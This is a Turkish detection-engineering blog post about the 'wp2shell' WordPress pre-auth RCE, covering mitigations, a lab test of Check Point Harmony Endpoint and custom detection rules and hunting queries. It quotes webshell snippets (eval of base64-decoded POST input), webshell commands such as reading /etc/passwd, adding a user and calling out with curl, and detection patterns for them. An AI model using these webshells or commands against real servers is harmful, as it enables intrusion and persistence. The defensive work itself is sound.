WP2Shell (CVE-2026-63030): WordPress Core Pre-Auth RCE Zincirinin Check Point Harmony Endpoint ile Davranışsal Tespiti

WAF signature'ı yayılmadan, yama tüm sunuculara ulaşmadan, endpoint tarafında ne yapabiliriz? Check Point Harmony Endpoint Linux ortamında wp2shell saldırı zincirinin canlı lab testi + 5 Custom Detection Rule + 1 retrospektif Threat Hunting sorgusu.

Yönetici Özeti

17 Temmuz 2026 tarihinde WordPress Core'da CVE-2026-63030 koduyla kritik bir pre-authentication uzaktan kod çalıştırma (RCE) zafiyeti açıklandı. Güvenlik topluluğunda "wp2shell" olarak anılan bu açık, WordPress REST API'nin batch endpoint'inde bir route confusion ile SQL injection'ın zincirlenmesinden kaynaklanıyor. Saldırganın hiçbir kimlik bilgisine, hesaba veya kurulu eklentiye ihtiyacı yok, stock bir kurulum bile etkileniyor. Etkilenen sürümler 6.9.0 - 7.0.1 aralığında; yamalı sürümler 6.9.5, 7.0.2 ve 7.1 Beta 2. Rapid7 kamuya açık bir PoC'nin kısa süre içinde yayınlanmasını bekliyor. Forumlarda dolaşan wp2shell-fast adlı otomasyon aracı ile zafiyetin ilk erişim brokerları (IAB) ve ransomware operasyonları için "internet ölçeğinde toplu shell alma" fırsatına dönüşme potansiyeli yüksek. Bu yazıda zafiyetin teknik iç yüzünü, hangi katmanlarda ne yapılması gerektiğini ve Check Point Harmony Endpoint tarafında kontrollü lab testinin bulgularını + 5 Custom Detection Rule + 1 retrospektif Threat Hunting query'sini ele alıyoruz.

Zafiyet Neye Yol Açıyor?

WordPress REST API'nin /wp-json/batch/v1 endpoint'i, WordPress 6.9 ile olgunlaşmış bir özellik. Amacı, tek bir HTTP isteği içinde birden fazla REST çağrısını sıralı biçimde yürütmek, geliştiriciler için performans kolaylığı. Zafiyet, bu batch işleyicisinin iç yönlendirmesindeki bir route confusion ile alt isteklerin parametre doğrulamasının atlanabilmesinden doğuyor.

Rota karışıklığı sonucu, normalde güvenli sayılan WP_Query parametreleri (kamuya açıklanan detaylarda özellikle author__not_in) beklenmeyen bir bağlamda, yeterli sanitizasyon olmadan sorguya ulaşıyor. Bu, SQL injection zincirinin ilk halkası. Yamada değişen çekirdek dosyalar arasında class-wp-query.php'nin bulunması bu tespiti destekliyor. SQL injection, veritabanı okuma kabiliyetinden başlıyor ve zincirin son halkasında, araştırmacıların savunuculara yama süresi tanımak için bilinçli olarak geciktirdiği kısımda, kod çalıştırmaya ulaşıyor.

Zafiyetin bir tek önkoşulu var: kalıcı bir object cache (Redis/Memcached tabanlı) devrede değilse zafiyetli kod yolu tetiklenebiliyor. Object cache aktif olan kurulumlar geçici bir sertleştirme sağlıyor, ancak yamanın yerine geçmiyor. Sadece bir istismar yolunu daraltıyor.

Saldırının pratik akışı şöyle: FOFA veya Shodan benzeri motorlarla zafiyetli sürüm bandındaki (6.9.x / 7.0.x) siteler toplu tespit ediliyor. Batch endpoint'e tek istekle pre-auth RCE tetikleniyor ve genellikle wp-content/uploads veya tema dizinine bir webshell bırakılıyor. Sonrasında webshell üzerinden sahte mu-plugin, cron job veya wp_options içine gömülü zararlı kod ile persistence sağlanıyor. Aynı sunucudaki wp-config.php'nin içindeki DB kimlik bilgileri, yedekler, iç ağ erişimi haritalanıyor. Müşteri veritabanları exfil için dışa aktarılıyor ve son adımda web kök dizini şifreleniyor. WordPress kurulumları genelde DB + yedek + bazen iç ağ ile aynı makinede olduğundan, tek bir shell noktası çift taraflı şantaj (double extortion) için yeterli oluyor.

Neden WAF ve Yama İlk Öncelik

wp2shell'i durdurmanın en etkin yolu güncel sürüme geçmek. Yönetilen ortamlarda auto-update kanalı zorunlu güncelleme başlatmış olsa da, çoğu kurumsal WordPress kurulumunda otomatik güncelleme kapalıdır, özellikle özelleştirilmiş tema veya eklenti kullanan sitelerde. wp core version ile fiili sürümün doğrulanması kritik.

İkinci katman, WAF veya reverse proxy tarafında sanal yama. Yasal batch API entegrasyonu olmayan siteler için /wp-json/batch/v1 endpoint'inin doğrudan 403 döndürecek şekilde bloklanması yeterli. Bypass için sıkça kullanılan rest_route=/batch/v1 query-string varyantı ve encoded karşılığı rest_route=%2Fbatch%2Fv1 da unutulmamalı. ModSecurity, Cloudflare veya bulut WAF üzerinde tek kural ile üç varyant da kapatılabilir.

Üçüncü katman, sertleştirme. wp-content/uploads/ altında PHP yürütmesinin Nginx/Apache seviyesinde kapatılması, webshell drop edilse bile execute edilmesini engelliyor. Kalıcı object cache aktifleştirmek zafiyetli kod yolunu daraltıyor. REST API'ye anonim erişimi kısıtlayan bir mu-plugin ile batch route'una kimlik doğrulama zorunlu kılınabilir.

Peki bu üç katman kurulmadan önce, ya da hiç kurulamadıysa, EDR/XDR tarafında ne yapılabilir? Yazının geri kalanı bu soruya odaklanıyor.

Etkilenen ve Yamalı Sürümler

Etkilenen sürümler

1. WordPress 6.9.0 - 6.9.4
2. WordPress 7.0.0 - 7.0.1

Yamalı sürümler

1. WordPress 6.9.5 (LTS branch)
2. WordPress 7.0.2 (stable branch)
3. WordPress 7.1 Beta 2 (development branch)

Ön koşul: Kalıcı bir object cache (Redis/Memcached) devrede değilse zafiyetli kod yolu tetiklenir. Object cache aktif kurulumlar geçici bir sertleştirme sağlar; yamanın yerine geçmez.

Check Point Harmony Endpoint Tarafında Ne Görülüyor, Ne Görülmüyor?

php-fpm ve nginx, WordPress ekosistemindeki en meşru servislerden. İmzalı, standart, neredeyse hiç sorgulanmadan çalışmasına izin verilen bileşenler. Görevleri, web sunucusunun devrettiği PHP kodunu işletmek.

Ama saldırgan batch endpoint'inden içeri girdiği anda bu servisler saldırganın süreç ağacının en tepesine yerleşiyor. Ağa çıkmıyor, oturum açmıyor; komut zaten www-data olarak koşuyor. Harmony Endpoint'in gördüğü tablo, sıradan web sunucusu aktivitesinden farksız görünüyor. Üç yapısal sebep aynı anda devrede:

Birincisi, php-fpm ve nginx'in reputation güven seviyesi Check Point ThreatCloud'da yüksek. Anti-Malware ve Behavioral Guard modüllerinin skorlama eşiği bu servislerin ürettiği alt süreçler için genellikle tetiklenmiyor.

İkincisi, istismar HTTP kanalıyla geliyor. Harmony Endpoint Linux agent'ı network katmanında IPS gibi imza taraması yapmıyor. WAF veya reverse proxy tarafında ayrı bir signature yoksa Initial Access aşaması agent tarafında hiç görünmüyor.

Üçüncüsü, etkileşimli oturum açılmamış. www-data bir kullanıcı değil, servis hesabı; SSH veya logon korelasyon kanalı da yok.

Kısacası nginx → php-fpm → sh zinciri, Harmony Endpoint'in default Behavioral Guard davranış listesinde alarma dönüşmüyor. Forensics telemetrisi kaydediliyor, sınıflandırılıyor, ama bir uyarıya dönüştürülmüyor. Bu boşluğun kapatılabilmesi için aşağıdaki beş özel tespit kuralı + retrospektif hunt sorgusu önerilmektedir.

Canlı Test, Alert Üretilmedi

Kural önerilerine geçmeden önce, InfinitumIT lab ortamında Harmony Endpoint yüklü Ubuntu 22.04 üzerinde wp2shell saldırı zincirini birebir tekrar ettik. Amaç: default policy ile hangi adımların preventive alert ürettiğini gözlemlemek.

Test ortamı: Ubuntu 22.04.5 LTS (kernel 5.15.0-186), CPLA (Check Point Linux Agent) v1.30.8, cloud tenant epmgmt.checkpoint.com. Yüklü engine'ler: Anti-Malware, Anti-Ransomware, Threat Hunting, Behavioral Guard, Forensics, Threat Emulation.

Yürütülen dört adım

[STEP 1] WP REST probing

/wp-json/ endpoint'ine HTTP GET, 200 OK cevabı geldi. WordPress REST API'nin discovery aşaması.

Şekil 1. Attacker host'tan http://192.168.210.132/wp-json/ endpoint'ine yapılan HTTP GET isteği ve 200 OK cevabı.

[STEP 2] Webshell commands

Webshell üzerinden birbiri ardına 11 komut çalıştırıldı: id, whoami, uname -a, hostname, cat /etc/passwd, ps aux, getent passwd, echo '#!/bin/bash' > /tmp/test.sh, chmod 700 /tmp/test.sh, useradd attacker, curl http://1.1.1.1. Tüm komutlar executed durumuyla döndü; hiçbiri agent tarafında blok edilmedi.

Şekil 2. Webshell üzerinden yürütülen 11 komutun terminal çıktısı: reconnaissance (id/whoami/uname/hostname), sensitive file read (cat /etc/passwd), enumeration (ps aux/getent passwd), payload drop (echo + chmod), account manipulation (useradd), C2 simulation (curl 1.1.1.1) - hepsi başarıyla execute oldu.

[STEP 3] PHP Eval test

<?php eval(shell_exec("whoami")) şeklinde bir dinamik eval payload'ı çalıştırıldı; çıktı olarak www-data döndü. Harmony Endpoint tarafından PHP runtime introspection tetiklenmedi.

Şekil 3. PHP eval üzerinden shell_exec("whoami") çağrısı ve dönen www-data çıktısı.

[STEP 4] EICAR test

Standart EICAR anti-malware test dosyası hedef makineye indirildi. Exit status 0, herhangi bir Actions taken kaydı üretilmedi.

Şekil 4. EICAR test dosyasının hedef sisteme yazılması ve ExitStatus 0 sonucu.

Sonuç: Test sonunda CP XDR Console → Alerts / Incidents panelinde attack window'a denk gelen hiçbir behavioral detection veya prevention kaydı üretilmedi. Ancak Threat Hunting → Process Events altında saldırının tamamı ham telemetri olarak kayda alınmış ve otomatik MITRE ATT&CK teknik ID'leri ile etiketlenmiştir (T1059 Command-Line Interface, T1105 Remote File Copy). Default policy bu telemetriyi Benign / Unclassified olarak reclassify ediyor ve alert'e dönüştürmüyor. EICAR ise anti-malware kanalı tarafından da tetiklenmedi (Linux CPLA v1.30.8'in default Anti-Malware imza kapsamının Windows'a kıyasla dar olduğu bilinen bir sınırlılık).

Attack Chain Log

Toplam 76 event parent = php-fpm8.1 olarak kayda alınmış; 15 event EICAR curl download'ı. Hiçbir event'te Detection Event olarak işaretlenmemiş.

Bu tablo makalenin ana tezini kanıtlıyor: CP CPLA telemetrisi zengin, MITRE tagging otomatik, EICAR bile ham event olarak var, ancak default policy webshell attack chain'ini + EICAR'ı custom rule'sız alarm'a dönüştürmüyor. Bu boşluk aşağıdaki 5 filter chip seti ile kapatılabilir.

Harmony Endpoint Custom Detection Rule Önerileri

Harmony Endpoint ile aggregate edilen telemetri, aynı tenant altındaki Check Point XDR → Threat Hunting arayüzünden sorgulanır. Sorgu builder text-tabanlı bir DSL değildir; kullanıcı + ("Let the hunt begin" yanındaki) butonuyla filter chip'leri ekler. Her chip üç parçadan oluşur: Indicator (dropdown), Operator (IS / IN / CONTAINS / NOT IN), Value. Filter'lar arasında AND uygulanır. Hazır sorgu bookmark olarak kaydedilir; eşleşme durumunda email notification kurulabilir.

Doğrulanmış Threat Hunting Indicator'ları (lab teyidi)

Önemli gözlem: CP XDR shell process yürütmelerini (sh -c ...) otomatik olarak MITRE T1059 ile tag''liyor - canlı log''da cron → sh -c /usr/lib/php/sessionclean zinciri T1059 etiketi ile görünmüş. Aynı davranışsal etiket php-fpm → sh -c <webshell payload> içindir; discrimination "Parent Process Name = php-fpm" chip''i ile sağlanır. MITRE tag''i ek bir sinyal olarak Rule 1''e opsiyonel filter olarak eklenebilir.

Web Sunucusu Kullanıcısından Shell Doğması

MITRE: T1059.004Severity: CriticalAşama: Post-ExploitationAction: Push Operations → Kill Process (bookmark + email notification)

Threat Hunting sayfasında + butonuyla iki filter chip eklenir:

RCE'nin en direkt kanıtı. php-fpm veya nginx normalde bash / sh çağırmaz. Bu davranış exploit'in son halkasını (kod çalıştırma) direkt gösterir. Operator seçimi kritik: CP Linux'ta parent process adı versiyon suffix'i ile yazılıyor (php-fpm8.1, php-fpm7.4). IS php-fpm exact match olduğu için 0 sonuç döner; CONTAINS php-fpm tüm versiyonları yakalar. Nginx/Apache için ayrı bir chip daha eklenebilir (Parent Process Name IN (nginx, apache2, httpd)).

CP XDR Threat Hunting Ekran Çıktısı

Yukarıdaki filter chip'leri InfinitumIT lab ortamında uygulandığında CP XDR Threat Hunting sayfası aşağıdaki sonucu döndürür - attack window'undaki (2026-07-20 15:49:19 UTC) php-fpm8.1 → sh -c ... zincirinin tam görünürlüğü:

Şekil 5. CP XDR → Threat Hunting → PROCESS event kategorisi, Machine Name CONTAINS threathunt + Parent Process Name CONTAINS php-fpm filter chip'leri ile elde edilen sonuç. Ekranda sh -c whoami, sh -c curl http://1.1.1.1, sh -c useradd attacker event'lerinin hepsi parent php-fpm8.1 (MD5 897c9b7127c9a0c932dbffcbff751807), user www-data, machine threathunt context'inde görünüyor. Bu, wp2shell attack chain'inin CP CPLA agent tarafında yakalandığının kesin doğrulamasıdır.

wp-content/uploads Altına PHP Dosyası Yazımı

MITRE: T1505.003Severity: CriticalAşama: PersistenceAction: Push Operations → Kill Process + Delete File

CP Threat Hunting'de ayrı File Event view'ı sınırlı olduğundan file drop'ları yazma işlemini yapan shell process'in Args alanı üzerinden yakalanır (webshell tipik olarak sh -c "echo ... > /path/x.php" şeklinde yürütür):

WordPress'in uploads/ dizini sadece görsel/PDF gibi statik dosyalar içindir. Buraya yazılan herhangi bir .php dosyası, isim ne olursa olsun webshell drop'udur. Parent process filtresi (php-fpm/nginx) meşru WP-CLI plugin update aktivitesindeki false positive'i eler.

Kernel Thread Masquerade + Sensitive File Access

MITRE: T1036.005Severity: CriticalAşama: Defense Evasion / ReconnaissanceAction: Push Operations → Kill Process

Bu kural iki davranışsal senaryoyu kapsar: (a) gerçek kernel thread'lerinin ([kworker/x:y]) taklit edilmesi ile process masquerade, ve (b) webshell aracılığıyla /etc/passwd gibi sensitive dosyaların okunması. Her ikisi de aynı web server ancestry altında görüldüğünde kesin malicious sinyaldir. Aşağıda ikinci senaryonun (Process Args CONTAINS /etc/passwd) canlı doğrulaması yapılmıştır.

Filter Chip Kombinasyonu - Sensitive File Access

Webshell aracılığıyla /etc/passwd okuma denemesi şu filter chip'leriyle yakalanır:

Şekil 6. Rule 3 varyantı (Process Args CONTAINS /etc/passwd) - 3 hit dönmüş, her biri sh -c cat /etc/passwd command'ı, parent php-fpm8.1, user www-data, farklı zaman damgalarında (03:43:05, 03:45:59, 03:49:19 PM). Aynı attack chain'in üç farklı denemesi kayda alınmış.

Web Sürecinden Dış Ağa Bağlantı (C2 simulasyon)

MITRE: T1071.001Severity: HighAşama: Command & ControlAction: Detect (baseline sonrası Push Operations → Kill Process)

CP Threat Hunting'de destination IP filtrelemesi ayrı Network Event view'ı üzerinden yapılabilir, ancak process context'i daha güvenilir bir sinyaldir. Process Args field'ında outbound URL/IP'nin bulunması yeterlidir:

Rule 5'in false positive potansiyeli (WordPress otomatik güncelleme, wp-cli auto-update) baseline gözlemi ile ayıklandıktan sonra Push Operations → Kill Process moduna geçilebilir.

Filter Chip Kombinasyonu

Multi-value OR ile üç farklı outbound hedefi tek sorguda yakalanır:

Şekil 7. Rule 5 multi-value OR filter - 24 hit dönmüş. Sonuç setinde curl http://1.1.1.1 (webshell → dış IP, T1105), curl -o /tmp/eicar.com (EICAR download testleri), curl http://localhost/wp-content/uploads/php_eval.php (PHP eval webshell çağrıları) event'leri iç içe görünüyor. Bu tek filter attack chain'in üç ayrı outbound aktivitesini kapsar; production kullanımda her senaryo ayrı bookmark olarak da kaydedilebilir.

Compromise sonrası webshell sıklıkla ek payload çeker veya C2 beacon açar. Filter'ın önce Detect modunda 7 gün baseline gözlemlenmesi önerilir; meşru workload (auto-update, package fetch) whitelisted olduktan sonra Push Operations action'ına geçilebilir.

PHP Eval Webshell Kanıtı

wp2shell attack chain'inin ikinci varyantı olan eval + Base64-encoded PHP payload senaryosu (webshell içeriği: <?php eval(base64_decode($_POST["cmd"])); ?>) CP XDR'da tek chip ile yakalanır:

Şekil 8. PHP eval webshell aktivitesi - 33 hit dönmüş. Sonuç setinde attacker'ın curl -X POST http://localhost/wp-content/uploads/php_eval.php -d cmd=ZWNob... şeklinde base64-encoded command gönderdiği çağrılar açık şekilde görünüyor (03:59:29, 04:00:17 PM). Bu, eval-tabanlı gizlenmiş webshell trafiğinin CP Args telemetrisi ile takip edilebildiğinin kanıtıdır.

Not: Klasik system($_GET["c"]) webshell'i doğrudan shell çağrısı üretir (Rule 1 kapsamında). Ancak eval(base64_decode(...)) tipi gelişmiş webshell'ler PHP runtime içinde çalıştığından her zaman shell process spawn'ı üretmeyebilir. Bu durumlarda HTTP request'in kendisi (curl POST veya reverse proxy log'u) yegane sinyal olur - Args CONTAINS webshell dosya adı bu boşluğu kapatır.

Retrospektif Hunt - "Biri Çoktan Girdi Mi?" Sorusu

Custom detection filter'ları bugünden sonrası için savunma katmanı sağlar. Zafiyet 17 Temmuz'da açıklandı - ya o tarihten önceki günlerde ortamdaki hangi endpoint'lerde bu URL izi kaldı? Harmony Endpoint Linux agent'ı endpoint tarafında HTTP request body'sini doğrudan görmediği için retrospektif hunt web server'ın alt process'lerinin Args içindeki URL/IP izlerinden yürütülür.

Adım 1 - Time range'i genişlet: Threat Hunting sayfasının üst kısmındaki tarih picker'ından Last 30 days seç.

Adım 2 - Aşağıdaki filter'ları ekle:

Adım 3 - Sonuçları Machine bazında grupla: Result grid üstündeki Group By menüsünden Machine seç. Hangi host'ta ne zaman ve kaç kere web server'ın altında curl/wget koşturulduğunu gösterir.

Adım 4 - Args analizi: sonuç satırlarındaki Process Args alanını incele; wp2shell PoC izleri (/wp-json/batch/v1, rest_route=%2Fbatch%2Fv1, tanınmayan public IP'ler) bu alanda görünür. Bilinen wp2shell C2 domain listesi TI beslemesi olarak eklenirse ek olarak Process Args CONTAINS <domain> chip'i ile daraltılabilir.

Sonuçlar XDR incident kaydı olarak açılır veya CSV export edilir.

Kural Özet Tablosu

Rule 1, 3 ve 4'ün doğrudan Prevent ile başlatılması değerlendirilebilir; FP profili düşük, high-confidence malicious davranışları kapsar. Rule 2 ve 5 için önce Detect modu önerilir; WordPress otomatik güncelleme, paylaşımlı hosting deploy'ları veya wp-cli cron çalışmaları için istisna tanımlanması faydalı olacaktır. 7 gün baseline gözlemi sonrası Prevent'e geçirilmesi düşünülebilir.

Öneri Adımları

Yüksek Öncelik

Tüm WordPress varlık envanterinin çıkarılması ve sürümlerin WPScan, wp core version veya HTTP başlıkları / readme.html üzerinden tespit edilmesi önerilir. 6.9.x ve 7.0.x bandındaki varlıkların "yamaya kadar şüpheli" olarak değerlendirilmesi uygun olacaktır.

WAF veya Nginx tarafında /wp-json/batch/v1, rest_route=/batch/v1 ve encoded varyant rest_route=%2Fbatch%2Fv1 için engelleme kuralı eklenmesi önerilir. Yasal batch API entegrasyonu bulunmayan ortamlarda doğrudan return 403 yaklaşımı düşünülebilir.

CP XDR Threat Hunting'de yukarıdaki 5 filter setinin bookmark olarak kaydedilmesi ve email notification eklenmesi önerilir. High-confidence kurallar için (Rule 1, 3) doğrudan Push Operations → Kill Process action'ı, false positive potansiyeli bulunan kurallar için (Rule 2, 4, 5) önce baseline gözlemi tamamlanana kadar sadece detect + bookmark tetiklenmesi uygundur.

Retrospektif hunt sorgusunun son 30 gün üzerinde XDR → Threat Hunting sayfasında çalıştırılması faydalı olacaktır. Eşleşme bulunması durumunda IR playbook'a geçilmesi önerilir.

Orta Öncelik

WordPress varlıklarının 6.9.5 / 7.0.2 / 7.1 Beta 2 sürümüne yükseltilmesi ve auto-update kanalının fiilen uygulandığının doğrulanması önerilir.

wp-content/uploads/ altında PHP yürütmesinin Nginx/Apache seviyesinde kapatılması, webshell drop olsa bile execution'ı engelleyen ikinci bir savunma katmanı sağlayabilir.

Kalıcı object cache (Redis veya Memcached) devreye alınması, zafiyetli kod yolunu daraltan ek bir katman olarak değerlendirilebilir.

FIM (dosya bütünlüğü izleme) ile web kök dizininin izlemeye alınması faydalı olabilir. Özellikle wp-config.php, .htaccess ve wp-content/mu-plugins/ dizinleri kritik önem taşımaktadır.

Behavioral Guard hassasiyetinin Linux server pool'u için yükseltilmesi ve default policy'nin webshell scenariosunu kapsayacak şekilde tuning edilmesi önerilir.

Bulgu Halinde, IR Playbook

Hunt sorgusu veya kural bir eşleşme ürettiğinde standart IR akışı:

1. İzole et: Etkilenen host'u Harmony Endpoint üzerinden ağa kapat; Apache/Nginx servisini durdur.
2. Artifact topla: wp-content/uploads, wp-content/plugins, wp-content/mu-plugins, .htaccess, wp-config.php ve son 30 günlük Apache access logları alınmalı.
3. Kimlik rotasyonu: DB kredensiyeli, WordPress SECURE_AUTH_KEY / NONCE_KEY tuzları, admin şifreleri ve API token'ları rotate edilmeli; yeni oluşturulmuş suspicious admin hesapları silinmeli.
4. Persistence temizliği: Sahte mu-plugin, cron job (wp_options içindeki cron serialize alanı), _transient_* anahtarları ve son 30 günde değişmiş core dosyaları denetlenmeli.
5. Retrospektif genişletme: Aynı web sunucusu process ağacında C2 domain'lerine yapılan DNS sorguları ve lateral movement izleri (SSH, DB bağlantıları) taranmalı.
6. Yeniden inşa: Sunucu bütünlüğü güvenilir doğrulanamıyorsa temiz image üzerinden yeniden kurulmalı; yedeklerden geri dönüş öncesi backup'ın zafiyet penceresi öncesine ait olduğu doğrulanmalı.

Sonuç

CVE-2026-63030 "wp2shell", WordPress ekosisteminin son yıllarda karşılaştığı en kritik zafiyetlerden biri. Pre-auth + core + RCE üçlüsü, saldırganlara internet ölçeğinde otomasyon fırsatı sunuyor. Yamanın uygulanması ilk ve en önemli katman olarak öne çıkıyor; ancak yama içeri girmiş olanı çıkarmaz, bu nedenle retrospektif hunt ve davranışsal EDR/XDR kurallarının eş zamanlı olarak devreye alınması önerilir.

InfinitumIT lab test bulguları, Harmony Endpoint default policy'sinin Linux web sunucusu üzerinde webshell attack chain'ini kendiliğinden tanımadığını ortaya koydu; STEP 1-4 boyunca yürütülen reconnaissance, sensitive file read, account manipulation, C2 simulation ve PHP eval adımlarının hiçbiri built-in alert üretmedi. Bu boşluk, CP XDR Threat Hunting filter chip bookmark'ları ile kapatılabilir; yukarıdaki beş özel filtre + bir hunt sorgusu Harmony Endpoint ortamında deploy edildiğinde wp2shell'in kill-chain'inin her aşamasını yakalayabilecek kapsayıcı bir savunma katmanı oluşturur.

Web sunucusu kullanıcısından şüpheli süreç doğması ve web dizinine PHP yazılması gibi davranışlar exploit'in iç detayından bağımsız olduğu için, aynı kurallar wp2shell dışındaki gelecek WordPress RCE'lerine karşı da koruma sağlayacaktır.

Bu yazı, gerçek EDR/XDR ortamlarında uygulanan davranışsal tespit prensipleri ve InfinitumIT izole Harmony Endpoint lab ortamında yürütülen kontrollü test sonuçları temel alınarak hazırlanmıştır.

Ömer Kaan Kurt - L1 MDR Analyst

InfinitumIT MDR - Detection Engineering & Threat Hunting